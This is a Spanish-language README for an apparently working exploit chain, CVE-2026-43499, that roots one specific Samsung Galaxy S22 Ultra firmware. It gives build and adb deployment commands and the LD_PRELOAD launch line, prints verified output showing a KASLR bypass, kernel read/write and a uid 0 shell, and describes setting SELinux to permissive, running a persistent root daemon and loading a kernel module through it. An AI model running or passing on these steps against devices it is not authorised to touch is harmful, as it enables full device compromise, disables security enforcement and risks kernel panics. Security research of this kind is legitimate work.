
Cadena de explotación completa de CVE-2026-43499 para Samsung Galaxy S22 Ultra (kernel de Android 5.10)
https://github.com/user-attachments/assets/f3d0858d-f8f5-444f-8ae5-541c2bc744c3
![]() | ![]() |
![]() | ![]() |
Este repositorio contiene un port específico del exploit CVE-2026-43499 para el Samsung Galaxy S22 Ultra (SM-S908W).
Device: Samsung Galaxy S22 Ultra (SM-S908W)
Codename: b0q
Android: 15 / SDK 35
Build number: AP3A.240905.015.A2.S908WVLS8FYG7
Build display ID: AP3A.240905.015.A2.S908WVLS8FYG7
Build fingerprint: samsung/b0qcsx/b0q:15/AP3A.240905.015.A2/S908WVLS8FYG7:user/release-keys
Kernel: 5.10.226-android12-9-30958166-abS908WVLS8FYG7
Architecture: aarch64
Los offsets y las estructuras de datos en este repositorio son específicos del firmware indicado anteriormente. Otros modelos y compilaciones de firmware no son compatibles con este perfil de objetivo.
Este port se basa en la implementación del exploit publicada en:
b850d3bddc74c3328d5fbcc0568d21962b55d949Agradecimientos especiales a:
La licencia upstream Apache License 2.0 se conserva en LICENSE.
b0q / S908WVLS8FYG7 (src/targets/S908WVLS8FYG7/target.h) y las estructuras del kernel.exp32: coreografía de futex, sello de pila de 32 bits y sched_setattr ejecutados en una etapa hija de 32 bits embebida (src/exp32/).system_unbound_wq segura para KDP y se actualizó el objetivo de cumplimiento de SELinux en tiempo de ejecución a selinux_state.enforcing./data/local/tmp/cve-2026-43499-root.cve43499-hold tras el éxito para que las referencias colgantes del kernel no puedan reciclarse en objetos slab no relacionados.Establece ANDROID_NDK_HOME a Android NDK r27+ o un toolchain compatible y luego ejecuta:
make PROJECT=S908WVLS8FYG7 clean preload root-helper
Para compilar para un entorno QEMU que ejecute el kernel de Android con un sistema de archivos Buildroot:
make USE_BUILDROOT=1 PROJECT=S908WVLS8FYG7 clean preload root-helper
Salidas:
build/S908WVLS8FYG7/bin/cve-2026-43499
build/S908WVLS8FYG7/bin/cve-2026-43499-root
build/S908WVLS8FYG7/bin/cve-exp32
adb push build/S908WVLS8FYG7/bin/cve-2026-43499 /data/local/tmp/cve-2026-43499
adb push build/S908WVLS8FYG7/bin/cve-2026-43499-root /data/local/tmp/cve-2026-43499-root
adb push build/S908WVLS8FYG7/bin/cve-exp32 /data/local/tmp/cve-exp32
adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root /data/local/tmp/cve-exp32
Ejecuta la etapa del exploit para iniciar el daemon root:
adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
Una vez completado con éxito, abre un shell root interactivo desde cualquier lugar del dispositivo:
adb shell "/data/local/tmp/cve-2026-43499-root"
O ejecuta comandos root directamente:
adb shell "/data/local/tmp/cve-2026-43499-root -c 'id'"
La ejecución predeterminada realiza hasta 16 intentos independientes. Cada hijo fallido sale antes del siguiente intento, por lo que sus descriptores de archivo y asignaciones de conformación del heap se liberan en lugar de acumularse dentro de un único proceso de exploit de larga duración. El retraso base predeterminado es de 20000 microsegundos y el supervisor recorre la siguiente secuencia dos veces:
20000, 30000, 50000, 25000, 40000, 15000, 60000, 35000
Sobrescribe el número de intentos o el retraso base al recopilar datos de temporización:
adb shell "EXPLOIT_ATTEMPTS=24 PSELECT_DELAY_USEC=20000 LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
Resultado verificado en S908WVLS8FYG7:
[*] root umh result wake=1 complete=1 retval=0 socket=1
[+] pipe-physrw-summary pid=5011 done=1 root=1 kaslr=1 base=ffffffc0080d8000 slide=00000000000d8000
[+] pipe physrw pid=5011 done=1 root=1 kaslr=1 read_ok=1 write_ok=1 rw64=1/1 uid=2000->0
[+] stability keeper pid=28206 retaining reclaimed kernel pages
[+] exploit completed attempt=1/16
Sesión de shell root interactiva:
b0q:/data/local/tmp $ ./cve-2026-43499-root
:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
:/ # getenforce
Permissive
La etapa inicial se basa en una carrera. Un hijo que sale con root=0 se reintenta automáticamente. La ejecución exitosa restaura ashmem_misc.fops, cambia SELinux a permisivo e inicia el daemon asistente root hasta el próximo reinicio.
El exploit anterior solo mantiene root para el arranque actual. Para obtener una app Manager y control estilo su durante el resto de la sesión, carga KernelSU-Next como módulo de kernel de carga tardía a través del asistente root.
Descarga ambos recursos de la versión desde v3.3.0-android12-5.10:
KernelSU_Next_v3.3.0-release.apk — app Managerkernelsu-android12-5.10.ko — módulo de kernel LKMInstala el APK Manager:
adb install KernelSU_Next_v3.3.0-release.apk
adb push kernelsu-android12-5.10.ko /data/local/tmp/kernelsu-android12-5.10.ko
adb shell "/data/local/tmp/cve-2026-43499-root -c 'insmod /data/local/tmp/kernelsu-android12-5.10.ko'"
ksud soft-reboot.Dado que se trata de un LKM de carga tardía (no una imagen de arranque parcheada), no sobrevive a un reinicio: tendrás que volver a ejecutar el exploit y volver a hacer insmod del módulo cada vez que el dispositivo se reinicie.
[!WARNING] Aviso de fiabilidad y pánico del kernel: La etapa de carrera es sensible a la temporización y actualmente no es fiable: puede fallar o causar un pánico del kernel en la mayoría de las ejecuciones. Ten paciencia, ya que los arranques limpios ofrecen una mayor tasa de éxito. Pueden publicarse optimizaciones futuras para mejorar la fiabilidad.
[!TIP] Recomendaciones de estabilidad y tasa de éxito:
- Reinicia el dispositivo: Para obtener la mayor tasa de éxito, reinicia el dispositivo antes de ejecutar el exploit para garantizar un estado limpio de slab/heap.
- Cierra las aplicaciones en segundo plano: Asegúrate de que todas las aplicaciones en segundo plano estén cerradas.
- Desbloquea la pantalla y permanece inactivo: Mantén el dispositivo desbloqueado y no interactúes ni uses el teléfono mientras se ejecuta el exploit, ya que la entrada activa del usuario o las tareas en segundo plano pueden alterar la temporización y potencialmente provocar un pánico del kernel.
Úsalo únicamente en dispositivos que poseas o para los que tengas autorización explícita de prueba.